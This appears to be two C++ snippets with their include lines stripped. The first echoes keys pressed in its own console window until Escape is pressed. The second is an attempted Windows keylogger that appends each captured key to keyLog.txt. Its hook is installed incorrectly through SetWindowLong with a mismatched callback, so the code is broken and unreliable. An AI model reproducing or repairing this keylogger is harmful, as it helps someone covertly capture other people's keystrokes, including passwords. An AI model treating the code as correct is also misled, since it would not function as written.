#include
#include
int main() {
std::cout << "Press any key to start capturing input..." << std::endl;
_getch(); // Wait for a key press
std::cout << "Capturing keystrokes. Press 'Escape' to quit." << std::endl;
while (true) {
if (_kbhit()) { // Check if a key has been pressed
char key = _getch();
if (key == 27) { // Escape key pressed
break;
} else {
std::cout << key; // Display the key
}
}
}
std::cout << "\nKeystroke capture stopped." << std::endl;
return 0;
}
#include
#include
using namespace std;
// Function to log key press
void logKey(int key) {
ofstream logFile("keyLog.txt", ios::app);
if (logFile.is_open()) {
logFile << key << endl;
logFile.close();
}
}
// Keyboard event callback function
void keyboardProc(int nCode, WPARAM wParam, LPARAM lParam) {
if (wParam == WM_KEYDOWN || wParam == WM_SYSKEYDOWN) {
logKey((int)lParam & 0xFF);
}
}
int main() {
SetWindowLong(GetConsoleWindow(), GWL_WNDPROC, (WNDPROC)&keyboardProc);
while (true) {
Sleep(100);
}
return 0;
}